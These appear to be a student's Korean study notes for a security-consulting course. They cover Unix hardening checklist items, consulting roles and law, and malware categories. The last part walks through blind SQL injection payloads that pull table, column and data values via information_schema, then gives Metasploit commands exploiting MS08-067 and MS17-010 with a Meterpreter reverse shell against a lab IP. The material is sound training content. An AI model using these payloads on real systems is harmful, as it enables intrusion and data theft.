시스템 파일과 같은 중요 파일에world writable 설정이 될 경우, 악의적인 사용자가 해당 파일을 마음대로 파일을 덧붙이거나 지울 수 있게 되어 시스템의 무단 접근 및 시스템 장애를 유발할 수 있습니다.이를 방지하기 위해world writable파일을 이용한 시스템 접근 및 악의적인 코드 실행 권한을 변경하거나 제거해야 합니다.
2. 계정인증 (패스워드), 명령어(어떤걸 하기 위해무슨 명령어를 사용해야하는지) - 객관식
U-04
패스워드 파일 보호
상
사용자 계정의패스워드 암호화를 관장하는 대표적인 파일은 “/etc/shadow”로써 해당 파일의 존재 유무와 실제모든 계정이 기록되어 있는“passwd”파일 내 로그인이 가능한 모든 사용자 계정이 암호화 되어 있는지 확인해야 합니다.
U-03
계정 잠금임계값설정
상
"/etc/pam.d/system-auth" 설정 파일 내 임계값이 5회, 잠금 시간이 60분(3600초)으로 설정되어 있는지 확인해야 합니다.패스워드 복잡도의 기준은 각각의 회사마다 관리하고 있는“정보보호정책”및“정보보호지침“에의거해서 기준이 상이 할 수 있습니다.
U-02
패스워드 복잡성 설정
상
"/etc/pam.d/system-auth" 설정 파일 내 패스워드 복잡도가 “영문, 숫자, 특수문자”를 조합하여 최소 8자리 이상으로 설정되어 있는지 확인해야 합니다.패스워드 복잡도의 기준은 각각의 회사마다 관리하고 있는“정보보호정책”및“정보보호지침“에의거해서 기준이 상이 할 수 있습니다. 항목 기본 기준:패스워드 복잡도(영문대/소문자,숫자,특수문자 채택 여부),최소자리수
U-46
패스워드 최소 길이 설정
중
"/etc/login.defs" 설정 파일 내 패스워드 길이가 8자리 이상으로 설정되어 있는지 확인해야 합니다.패스워드 복잡도의 기준은각각의 회사마다 관리하고 있는“정보보호정책”및“정보보호지침“에의거해서 기준이 상이할 수 있습니다.
U-47
패스워드 최대 사용기간 설정
중
"/etc/login.defs" 설정 파일 내 패스워드 최대 사용기간이 90 이하로 설정되어 있는지 확인해야 합니다.패스워드 복잡도의 기준은각각의 회사마다 관리하고 있는“정보보호정책”및“정보보호지침“에의거해서 기준이 상이할 수 있습니다.
U-48
패스워드 최소 사용기간 설정
중
"/etc/login.defs" 설정 파일 내 패스워드 최소 사용기간이 1 이상으로 설정되어 있는지 확인해야 합니다.패스워드 복잡도의 기준은각각의 회사마다 관리하고 있는“정보보호정책”및“정보보호지침“에의거해서 기준이 상이할 수 있습니다.
passwd 파일
Unix/Linux 시스템에서 사용자 계정 정보와 관련된 파일
이 파일에는 각 사용자의 계정 이름, 암호화된 비밀번호, 사용자 ID (UID), 그룹 ID (GID), 사용자 정보(예: 이름), 홈 디렉토리 경로, 기본 셸 등이 포함되어 있습니다.
일반적으로 이파일은 /etc/passwd 경로에 위치하며, 시스템의 사용자 관리에 중요한 역할을 합니다.
보안상의 이유로 암호는 일반적으로 /etc/shadow 파일에 저장 -> 패스워드 암호화를 관장
주요정보통신기반시설 보고서에 따르면 passwd 권한 644 이하 일 경우 "취약" 이다.
하지만,타 사용자도 읽기 권한이 있지만 변경을 할 수 없기 떄문에 양호 처리한다.
로그인 가능계정 리스트업
cat /etc/passwd | grepbash
U-04 bash를 입력하는 이유는 최초 로그인을 시도했다는 증거 - 실제 로그인이 가능한 계정에 대해 암호화 처리가 되어있는지 확인한다.
3. 파일 및 디렉토리관리 에서 특정 키워드 놓고 뭔지 권한확인 문제 - 객관식
읽기 권한 (Read) :4
쓰기 권한 (Write) :2
실행 권한 (Execute) :1
U-56
UMASK설정 관리
중
잘못된 UMASK 값으로 인해 시스템 내 신규 생성 파일에 대하여 과도한 권한이 부여될 수 있으며, 이로 인한 파일의 시스템 악용 우려가 있습니다.이를 방지하기 위해UMASK값을 안전한 값으로 설정해야 합니다. UMASK 022로 설정되어 있는지 확인해야 합니다.
기본 권한
파일의 기본 권한: 일반적으로 새로 생성된 파일의기본 권한은 666 (읽기 및 쓰기 권한)입니다. 실행 권한은 기본적으로 포함되지 않습니다.
디렉토리의 기본 권한: 새로 생성된디렉토리의 기본 권한은 777 (읽기, 쓰기, 실행 권한)입니다.이는 디렉토리의 내용을 나열하고, 파일을 추가하거나 삭제할 수 있도록 하기 위해 실행 권한이 필요하기 때문입니다.
umask
하지만 실제로 사용자가 생성하는 파일이나 디렉토리의 권한은 umask 값에 따라 영향을 받습니다. umask는 기본 권한에서 제한할 권한을 지정하는 값입니다. 예를 들어, umask가 002라면:
새로 생성된 파일 권한:666 - 002 = 664
새로 생성된 디렉토리 권한:777 - 002 = 775
U-05
root홈,패스 디렉토리권한및 패스 설정
상
OS에서환경변수는“시스템 환경변수“, “사용자 환경변수“로 구분되어 집니다. “시스템 환경변수“는OS가 부팅되어 자동으로 실행해야하는 시스템 서비스를 구동합니다. “시스템 환경변수“는 운영 및 관리자가 서비스를 구현하는 과정에서 추가Middleware및 서비스를 구동해야하는 경우 추가로 작성하는 변수입니다.이번 항목에서는“시스템 환경변수“전체 내용에서 맨 앞과,중간에“.”이 포함되어 있는지 확인해야 합니다. echo $PATH
U-06
파일 및 디렉토리 소유자 설정
상
삭제된 소유자의UID와 동일한 사용자가 해당 파일,디렉토리에 접근 가능하여 사용자 정보 등 중요 정보가 노출될 위험이 있습니다.추가로소유자가 존재하지 않는 파일 및 디렉토리를 삭제 및 관리하여 임의의 사용자에 의한 불법적 행위를 사전에 차단하기위합입니다.
U-07
/etc/passwd파일 소유자 및 권한 설정
상
관리자(root)외 사용자가"/etc/passwd"파일의 변조가 가능할 경우shell변조,사용자 추가/삭제, root를 포함한 사용자 권한 획득 시도 등 악의적인 행위가 가능하며, /etc/passwd파일 변경을 통한비인가자의권한 상승을 막기 위함입니다
U-08
/etc/shadow파일 소유자 및 권한 설정
상
“/etc/shadow” 파일을 관리자(소유자 root)만 제어(400)할 수 있게 하여 비인가자들의 접근을 제한하도록shadow파일 소유자 및 권한을 관리해야 하며해당 파일에 대한 권한 관리가 이루어지지 않을 시ID및 패스워드 정보가 외부로 노출될 수 있습니다.
U-09
/etc/hosts파일 소유자 및 권한 설정
상
hosts파일에비인가자쓰기 권한이 부여된 경우,공격자는hosts(IP,hostname)파일에 악의적인 시스템을 등록하여,이를 통해 정상적인DNS를 우회하여 악성사이트로의 접속을 유도하는파밍(Pharming)공격 등에 악용될 수 있으며,/etc/hosts 파일을 관리자(600)만 제어할 수 있게 하여 비인가자들의 임의적인 파일 변조를 방지하기 위함입니다.
U-10
/etc/(x)inetd.conf파일 소유자 및 권한 설정
상
(x)inetd.conf파일에비인가자의쓰기 권한이 부여되어 있을 경우,비인가자가악의적인 프로그램을 등록하여root권한으로 불법적인 서비스를 실행할 수 있습니다.이는 방지하기 위해서는/etc/(x)inetd.conf파일을 관리자만 제어할 수 있게 하여 비인가자들의 임의적인 파일 변조를 방지해야 합니다. xinetd/inetd : 인터넷슈퍼데몬(서버 내부에 xinetd 경로 내 데몬이 등록되어 있을 경우 원격지(Public망) Client가 이를 호출할 수 있게 함
U-11
/etc/syslog.conf파일 소유자 및 권한 설정
상
syslog.conf파일의 접근 권한이 적절하지 않을 경우,임의적인 파일 변조로 인해 침입자의 흔적 또는 시스템 오류 사항을 분석하기 위해 반드시 필요한 시스템 로그가 정상적으로 기록 되지 않을 수 있습니다.이를 방지하기 위해서/etc/syslog.conf 파일의 권한 적절성(640)을 점검하여 관리자 외비인가자의임의적인syslog.conf파일 변조를 방지해야 합니다.
U-12
/etc/services파일 소유자 및 권한 설정
상
services파일의 접근 권한이 적절하지 않을 경우 비인가 사용자가 운영 포트번호를 변경하여 정상적인 서비스를 제한하거나,허용되지 않은 포트를 오픈하여 악성 서비스를 의도적으로 실행할 수 있습니다.이를 방지하기 위해서/etc/services 파일을 관리자만 제어(600)할 수 있게 해야 합니다.
U-13
SUID, SGID, Sticky bit설정 및 권한 설정
상
이를 방지하기 위해서 불필요한SUID, SGID설정을 제거해야 합니다. (확인 필요 파일: /sbin/dump, /sbin/restore, /sbin/unix_chkpwd, /usr/bin/at, /usr/bin/lpq, /usr/bin/lpq-lpd, /usr/bin/lpr, /usr/bin/lpr-lpd, /usr/bin/lprm, /usr/bin/lprm-lpd, /usr/bin/newgrp, /usr/sbin/lpc, /usr/sbin/lpc-lpd, /usr/sbin/traceroute) *SUID(Set User-ID) :설정된 파일 실행 시,특정 작업 수행을 위하여 일시적으로 파일 소유자의 권한을 얻게 됨. * SGID(Set Group-ID) :설정된 파일 실행 시,특정 작업 수행을 위하여 일시적으로 파일 소유 그룹의 권한을 얻게 됨.
U-14
사용자,시스템 시작파일 및 환경파일 소유자 및 권한 설정
상
홈 디렉토리 내의 사용자 파일 및 사용자 별 시스템시작파일등과 같은환경변수 파일의 접근권한 설정이 적절하지 않을 경우,비인가자가환경변수 파일을 변조하여 정상 사용중인 사용자의 서비스가 제한 될 수 있습니다.이를 방지하기위해비인가자의환경변수 조작을 통제해야 합니다..*_history, profile, logout,bashrc등의 권한이 확인이 필요함
U-15
world writable파일 점검
상
시스템 파일과 같은 중요 파일에world writable설정이 될 경우,악의적인 사용자가 해당 파일을 마음대로 파일을 덧붙이거나 지울 수 있게 되어 시스템의 무단 접근 및 시스템 장애를 유발할 수 있습니다.이를 방지하기 위해world writable파일을 이용한 시스템 접근 및 악의적인 코드 실행 권한을 변경하거나 제거해야 합니다.
U-16
/dev에 존재하지 않는device파일 점검
상
공격자는rootkit설정파일들을 서버 관리자가 쉽게 발견하지 못하도록/dev에device파일인 것처럼 위장하는 수법을 많이 사용합니다.이를 방지하기 위해서 실제 존재하지 않는 디바이스를 찾아 제거해야 합니다. find /dev -type f -exec ls -al {} \;
U-17
$HOME/.rhosts,hosts.equiv사용 금지
상
rlogin,rsh등과 같은'r'command의 보안 설정이 적용되지 않은 경우,원격지의 공격자가 관리자 권한으로 목표 시스템상의 임의의 명령을 수행시킬 수 있습니다.이를 방지하기 위해'r'command사용을 통한 원격 접속은 인증 없이 관리자 원격 접속이 가능하므로 서비스 포트를 차단해야 합니다.“rexec,rsh, rlogin” –인터넷 슈퍼데몬에서확인 필요
U-18
접속IP및 포트 제한
상
허용할 호스트에 대한IP및포트제한이적용되지 않은 경우, Telnet, FTP같은 보안에 취약한 네트워크 서비스를 통하여 불법적인 접근 및 시스템 침해사고가 발생할 수 있습니다.이를 방지하기 위해 허용한 호스트만 서비스를 사용하게해야 합니다. /etc/hosts.deny에서는“ALL:ALL”설정해서 전체를 차단하고/etc/hosts.allow에서는 호용이 필요한 사용자의hostname, IP주소가 설정되어 있는지 확인해야 합니다.
U-55
hosts.lpd파일 소유자 및 권한 설정
하
hosts.lpd파일의접근권한이적절하지 않을 경우비인가자가/etc/hosts.lpd파일을 수정하여 허용된 사용자의 서비스를 방해할 수 있으며,호스트 정보를 획득 할 수 있습니다.이를 방지하기 위해비인가자의임의적인hosts.lpd변조를 막기 위해hosts.lpd파일 삭제 또는 소유자 및 권한 관리를 해야 합니다.
U-56
UMASK설정 관리
중
잘못된UMASK값으로 인해 시스템 내 신규 생성 파일에 대하여 과도한 권한이 부여될 수 있으며,이로 인한 파일의 시스템 악용 우려가 있습니다.이를 방지하기 위해UMASK값을 안전한 값으로 설정해야 합니다. UMASK 022로 설정되어 있는지 확인해야 합니다.
U-57
홈디렉토리 소유자 및 권한 설정
중
홈 디렉토리 내 설정파일 변조 시 정상적인 서비스 이용이 제한될 우려가 존재합니다.이를 방지하기 위해사용자 홈 디렉토리 소유자 및 권한 설정을 점검해야 합니다. 소유자가 자기 자신으로 설정되어 있는지 타사용자 권한이 부여되어 있는지 확인해야 합니다.
U-58
홈디렉토리로 지정한 디렉토리의 존재 관리
중
사용자에게 지정된 디렉토리가 아닌 곳이 홈 디렉토리로 설정될 경우 해당 디렉토리 내 명령어 사용이 가능하며 이에 따라 시스템 관리 및 보안상 문제가 발생할 수 있습니다.이를 방지하기 위해/home이외 사용자의 홈 디렉토리 존재 여부를 점검해야 합니다.
##U-06
-파일 및 디렉토리 소유자 설정
-소유자가 불분명한 파일이나 디렉토리가 존재하는지 여부를 점검
-find / -nouser -print
-하면 너무 많이 나옴
##U-09
-파일 및 디렉토리 관리 /etc/hosts/ 파일 소유자 권한
-소유자가 root, 권한 600
4. 서비스관리 안에 있는 항목 중에 아파치 문제 (난이도 중) - 객관식
U-35
Apache디렉토리리스팅제거
상
디렉토리 검색 기능이 활성화 되어 있을 경우, WEB 서버 구조 노출뿐만 아니라 백업 파일이나 소스파일,공개되어서는 안되는 파일 등이 노출이 가능합니다.이를 방지하기 위해외부에서 디렉토리 내의 모든 파일에 대한 접근 및 열람을 제한해야 합니다.
U-36
Apache웹 프로세스 권한 제한
상
웹 프로세스 취약점 공격으로Apache권한이 탈취 당할 경우Apache 프로세스의 권한이 root이면 시스템 전체의 제어권을 탈취 당해 피해범위가확산될 가능성이 있습니다.이를방지하기 위해Apache 데몬을 root 권한으로 구동하지 않고 별도의 권한으로 서비스하도록 설정해야 합니다.
U-37
Apache상위 디렉토리 접근 금지
상
상위 경로로 이동하는 것이 가능할 경우 접근하고자 하는 디렉토리의 하위 경로에 접속하여 상위 경로로 이동함으로써 악의적인 목적을 가진 사용자의 접근이 가능하게 됩니다.이를 방지하기 위해상위 경로 이동 명령으로비인가자의특정 디렉토리에 대한 접근 및 열람을 제한해야 합니다.
U-38
Apache불필요한 파일 제거
상
Apache 설치 시 htdocs 디렉토리 내에 매뉴얼 파일은 시스템 관련정보를 노출하거나 해킹에 악용될 수 있습니다.이를 방지하기 위해Apache설치 시 디폴트로 설치되는 불필요한 파일을 제거해야 합니다.
U-39
Apache링크 사용 금지
상
시스템 자체의 root 디렉토리(/)에 링크를 걸게 되면 웹 서버 구동 사용자 권한(nobody)으로 모든 파일 시스템의 파일에 접근할 수 있게 되어 "/etc/passwd" 파일과 같은 민감한 파일을 누구나 열람할 수 있습니다.이를 방지하기 위해 무분별한심볼릭링크, aliases사용을 제한해야 합니다.
U-40
Apache파일 업로드 및 다운로드 제한
상
악의적 목적을 가진 사용자가 반복 업로드 및 웹 쉘 공격 등으로 시스템 권한을 탈취하거나 대용량 파일의 반복 업로드로 서버자원을 고갈시키는 공격의 위험이 있습니다.이를 방지하기 위해 파일 업로드 및 다운로드를 제한해야 하지만불가피하게 필요시 용량 사이즈를 제한해야 합니다.
U-41
Apache웹 서비스 영역의 분리
상
웹 서버의 루트 디렉토리와 OS의 루트 디렉토리를 다르게 지정하지 않았을 경우, 비인가자가 웹 서비스를 통해 해킹이 성공할 경우 시스템 영역까지 접근이 가능하여 피해가 확장될 수 있습니다.이를 방지하기 위해 웹 서비스 영역과 시스템 영역을 분리시켜야 합니다.
U-71
Apache웹 서비스 정보 숨김
중
불필요한 정보가 노출될 경우 해당 정보를 이용하여 시스템의 취약점을 수집할 수 있습니다.이를 방지하기 위해HTTP헤더,에러페이지에서 웹 서버 버전 및 종류, OS정보 등 웹 서버와 관련된불필요한 정보가 노출되지 않도록설정해야 합니다.
취약점이 발견된 Sendmail 버전의 경우 버퍼 오버플로우(Buffer Overflow) 공격에 의한 시스템 권한 획득 및 주요 정보 유출 가능성이 있습니다.이를 방지하기 위해Sendmail서비스 사용 목적 검토 및 취약점이 없는 버전의 사용 유무를 점검해야 합니다.rpm–qa|grepsendmail
U-31
스팸 메일 릴레이 제한
상
SMTP 서버의 릴레이 기능을 제한하지 않는 경우, 악의적인 사용목적을 가진 사용자들이 스팸메일 서버로 사용하거나 DoS공격의 대상이 될 수 있습니다.ps-ef|grepsendmail
U-32
일반사용자의Sendmail실행 방지
상
일반사용자가 q 옵션을 이용해서 메일큐, Sendmail 설정을 보거나 메일큐를 강제적으로 drop 시킬 수 있어 악의적으로 SMTP 서버의 오류를 발생시킬 수 있습니다.일반사용자의q옵션을 제한하여Sendmail설정 및메일큐를강제적으로drop시킬 수 없게 하여비인가자에 의한 SMTP 서비스 오류를 방지해야 합니다. ps-ef|grepsendmail
U-68
로그온 시 경고 메시지 제공
하
로그인 배너가 설정되지 않을 경우 배너에 서버 OS 버전 및 서비스 버전이 공격자에게 노출될 수 있으며 공격자는 이러한 정보를 통하여 해당 OS 및 서비스의 취약점을 이용하여 공격을 시도할 수 있습니다.이를 방지하기 위해서버 접속 시 관계자만 접속해야 한다는 경고 메시지를 설정해야 합니다. Banner설정이 필요한 서비스:ssh, telnet, named,sendmail, ftp (로그인이가능한 데몬)
U-70
expn,vrfy명령어 제한
중
VRFY, EXPN 명령어를 통하여 특정 사용자 계정의 존재유무를 알 수 있고, 사용자의 정보를 외부로 유출 할 수 있습니다.이를 방지하기 위해SMTP서비스의expn,vrfy명령을 사용하지 못하게 옵션을 설정해야 합니다. ps-ef|grepsendmail
## U-68 - 저희는 이걸 배너라고 해요 - 로그인을 할 때 위험성을 알려주는 것 - 목적 - 버전정보, 어떤 플랫폼 사용하는지 노출 X - 사회공학적 기법 : 경고가 붙어있는데 출입한 경우는 처벌의 수위가 달라집니다. ### 로그인이 가능한 서비스 - Telnet, ssh, sendmail, postfix - ps -ef | grep "telnet\|ssh\|sendmail\|named\|ftp" ```shell [root@localhost ~]# ps -ef | grep "telnet\|ssh\|sendmail\|named\|ftp" root 1887 1 0 Aug28 ? 00:00:00 /usr/sbin/sshd root 8049 1887 0 00:43 ? 00:00:04 sshd: root@pts/0 root 8584 8053 0 04:10 pts/0 00:00:00 grep telnet\|ssh\|sendmail\|named\|ftp [root@localhost ~]# cat /etc/motd TEST Server 접근시 허용된 계정만 접근이 가능하며 그외 비인가된 계정은 접근하실 수 없습니다. ``` - named는 DNS
## U-70 - smtp 서비스 사용시 crfy, expn 명령어 사용 금지 설정 여부 점검 - /etc/mail/sendmail.cf - O PrivacyOptions - (noexpn,novrfy 또는 goaway)
## U-42 - 시스템에서 최신 패치가 적용되어 있는지 점검 - 주요하게 CV취약점이 발생되는 데몬을추려서 버전확인 필요 ### - openssh - bash - named - bind 취약점 발생 가능 - glibc - 로그인 가능(인증 인가 서비스 거부 공격 가능) - ftp - sendmail - openssl - 인증서 적용을 하기 위해 필수로 필요한 패킷 - https ### - 현재 구성된 서버의 OS가 "CentOS 6.9" 버전으로 "XXXX년 XX월 XX일" 기준으로 EOS(End Of Service)되어 CVE 주요 취약점이 발생될 수 있는 필수 데몬(openssh, glibc, openssl 등)의 최신 패치를 적용할 수 없는 상태입니다. - major 버전, 6.9 _ 6 이 바뀌면 업데이트 못함 - 데이터 부분 다 백업하고 서버업데이트 후 migration해야 합니다 ### - ad : active directory - 사용자와 컴퓨터 그룹이 존재 ### - 언제까지 조치하겠다는 내용 필수 - 심사는 올해만 하고 끝이 아니라 최초진단을 3년 이내로 다시 받게 곧 변함 - 신규 서버의 구축 완료기간, Data Migration 완료 기간을 산정해서 보안담당자에게 확인을 받고 이를 결과보고서 내 Comment로 기입해야 함
6. 환경분석 (주관식 난이도 상)
주요통신기반시설점검(관리)
자산 관련 (자산 위협 취약성 ? )
위험평가는 안들어감
정보보호 전문가
정보보호 전문가로 “기관, 기업의 정보보호 문제점을 찾아 중요한 정보자산(시스템) 안전하게 유지될 수 있도록 도와주는 일”을 하는 사람
보안 시스템 운영자/관리자
보안 소프트웨어 개발자
보안시스템 엔지니어
보안관제(침해대응, 모니터링)
정보보호 컨설턴트
침해대응 전문가
모의해커(화이트해커)
디지털 포렌식 전문가
정보보호체계 설계
정보보호 컨설턴트의 역량
관련 분야에 대한 지식
문제의 분석 및 진단 능력
의사소통 기술
해결 및 실행력
보안 컨설팅 프로젝트는 기업, 기관의 법률 준수 의무, 보안 사고 및 이슈, 상위기관 보안감사 등의 이유로 진행
컨설턴트 무엇을 먼저 알아두어야하나?
1. 정보보호체계/인증제도
KISA ISMS_P 기준
ISO27001 기준
2. 정부정책 규제 방향
개인정보보호법
정보통신망법
전자금융거래법
신용정보의 이용 및 보호에 관한 법률
3. 비즈니스 형태 이해
금융회사
공공기관
온라인쇼핑
비즈니스
공공기관서비스
정보보호 컨설팅 서비스 영역
취약점 진단
모의해킹
모바일앱
정보보호 관리체계
ISMS인증
ISO27001인증
개인정보보호 컨설팅
법률 준거성 분석
인터뷰 준비 및 진행 -> 현황분석(분석 Framework 만들기) -> 체크리스트 만들기 -> 착수단계 -> 중간단계 -> 종료단계
주요정보통신기반시설
민간, 공공 시설을 불문하고 침해사고 등이 발생할 경우 국가안정보장과 경제사회에 미치는 피해규모 및 범위가 큰 시설 (예: IDC, ISP, 은행, 철도, 항만, 행정, 교육 등 )
국가안전보장, 행정, 통신, 금융, 의료 등 국가·사회적으로 중요한 시설을 주요정보통신기반시설로 지정·관리
주요정보통신 기반시설 취약점 분석, 평가 관련 법령
기반시설지정 기준
전자적 침해행위로부터 보호가 필요하다고 인정되는 정보통신기반시설을 주요정보통신기반시설로 지정
기관이 수행하는 업무의 국가사회적 중요성
기관이 수행하는 업무의 정보통신기반시설에 대한 의존도
다른 정보통신기반시설과의 상호연계성
피해규모 및 범위
침해사고의 발생가능성 또는 그 복구의 용이성
취약점 진단반 구성 및 진단
취약점을 분석, 평가하는 전담반을 구성하여야 한다.
「정보보호산업의 진흥에 관한 법률」 제23조에 따라 지정된 정보보호 전문서비스 기업
1. 정보보호 컨설팅 서비스 영역 > 주요정보통신 기반시설 취약점 분석 및 평가
취약점 분석, 평가란?
취약점 분석 평가란, 악성코드 유포, 해킹 등 사이버 위협에 대한 주요정보통신 기반시설의 취약점을 종합적으로 분석 및 평가.개선하는 일련의 과정을 말함
수행 주체 : 관리기관, 외부기관
* 외부기관 : 한국인터넷진흥원, 정보공유분석센터, 한국전자통신연구원, 정보보호전문 서비스 기업 등
■ 수행주기 : 1년
■ 평가대상
주요정보통신기반시설의 세부시설로 정의된 정보보호 대상 자산(정보시스템, 제어시스템)
■분석,평가 절차
1단계 : 취약점 분석,평가 계획 수립
2단계 : 취약점 분석,평가 대상 선별
3단계 : 취약점 분석 수행
4단계 : 취약점 평가 수행
1. 위험의 구성 요소
자산(Asset) : 조직이 보호해야할 대상으로 정보, 하드웨어, 소프트웨어, 시설 등
위협(Threats) : 자산에 손실을 초래할 수 있는 원치 않는 사건의 잠재적 원인
취약성(Vulnerability) : 자산의 잠재적 속성으로서 위협의 이용 대상이 되는 것
악성코드 분석
시험문제 (악성코드 행위중)
1. 악성파일, 모든 파일에서 타임스탬프는 얼마든지 조작이 가능하다. → 신뢰할 수 없다.
타임스템프 영역은 악성코드 제작자가 분석을 방해하기 위해서, text 값을 가공할 수 있다.
2. 정보유출용 악성코드 중 개인정보 악성코드 명이 뭐인가?
정보 유출을 목적으로 하는 악성코드는 여러 가지가 있지만,대표적인 예로는 "키로거(Keylogger)", "트로이목마(Trojan)", "스파이웨어(Spyware)" 등이 있습니다. 이들은 사용자의 개인정보를 수집하거나 유출하는 데 사용됩니다.
행위에 따른 분류
스파이웨어 :사용자환경의 브라우저 정보, 시스템정보, 뱅킹정보 등을 탈취하는 악성코드
트로이목마 : 정상 프로그램으로 위장, 악의적인 공격코드의 실행을 유도하는 악성코드
목적에 따른 분류
인포스틸러
시스템 정보 및 뱅킹, 브라우저 등 감염된 시스템의 정보를 수집하는 악성코드
개인의 경우 정보탈취 및 금전피해 유발, 국가 및 조직의 경우 민간정보 탈취가 주요 목적
키로거
사용자가 입력한 키 값을 가로채서 행위의 기록을 탈취하는 악성코드
사용자가 직접 입력한 기록을 가져가기 떄문에 뱅킹정보와 같은 정보를 주로 목적으로 함
랜섬웨어
파일이나 드라이브를 암호화하여 복호화를 빌미로 금전을 요구하는 악성코드
초기에는 암호화 기능만 수행하였으나, 정보탈취 DDoS등 다중협박 전략으로 피해자를 압박해 협상금액을 높이는 형태로 발전
3. 악성코드, 정보유출 중 개인정보나 브라우저에 PC, 쿠키 정보를 수집하는 악성코드가 무엇인가
정보유출형 ~쿠키 캐시를 수집하는 악성코드 명
스파이웨어
보안관제 이론
시험 문제
난이도 하 2 중 1 ~ 2 상 1~2
SIEM
방화벽(네트워크 트래픽을 필터링) =IP/PORT,Protocol 주소 기반의 접근 차단위주의 방어
에러 유발 - 에러가 안나는 것은 필터링 처리 때문 info_idx=6 뒤에 ' 입력 > 에러발생
문자변수인지 숫자변수인지 확인 ~ info_idx=6 ' and '1'='1 문자로 인식할 경우 (에러 발생) ~ info_idx=6 and 1=1 숫자로 인식할 경우 (에러 안남)
blind SQL 인젝션의 기본 조건은 참과 거짓에 따라 다른 반응을 보이는 것 ~ info_idx=6 and 1=1 참 (에러 안남) ~ info_idx=6 and 1=2 거짓 (에러 발생)
==> blind sql 인젝션 가능성 확인
아스키코드 ~ info_idx=6 and ascii('a') between 32 and 127
substring 함수 substring('abc',1,1) 의미는 'abc' 단어의 첫번째 글자, 한 개 즉 a를 뜻함 ~ info_idx=6 and ascii(substring('abc',1,1)) = 97
between a and b는 안해도 되지만 좀더 쉽게 하기 위함, 또는 '=' 필터링 시 사용 ~ info_idx=6 and ascii(substring('abc',1,1)) between 32 and 127
'abc' 대신 db 테이블을 가져와야 하므로 쿼리문 (select distinct top 1 table_name from information_schema.tables order by table_name asc) distinct top 1 : 맨위의 테이블 한개만 information_schema.tables : 모든 테이블명을 관리하고 있는 테이블 order by table_name asc : table_name 작은것 부터 순서대로 정렬
ascii( ~, 1,1)을 ascii( ~, 2,1) 로 바꾸어서 두번째 글자를 찾는다. 첫번째 테이블의 두번째 글자 = a
세번째~ 글자를 모두 찾는다. 테이블 명 = admin
첫번째 테이블의 첫번째 컬럼의 첫글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' order by column_name asc), 1,1)) between 97 and 126
information_schema.columns : 모든 컬럼명을 관리하고 있는 테이블
첫번째 테이블의 첫번째 컬럼명 나머지 글자 찾기
첫번째 테이블의 두번째 컬럼명 나머지 글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 1 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 126
번째 테이블의 세번째 컬럼명 나머지 글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 2 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 127
not in (~ top 2 ~) 부분만 변경
찾은 테이블명과 컬럼명으로 데이터 첫글자 확인 http://~&info_idx=1 and ascii(substring((select distinct top 1 컬럼명 from 테이블명), 1,1)) between 97 and 122
smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010).
msfconsole msf6 > search ms08-067 msf6 > use exploit/windows/smb/ms08_067_netapi msf6 exploit(windows/smb/ms08_067_netapi) > show options msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.145.136 msf6 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp run
back msf6 > use exploit/windows/smb/ms17_010_psexec msf6 exploit(windows/smb/ms17_010_psexec) > show options msf6 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.145.136 msf6 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_psexec) > run meterpreter > shell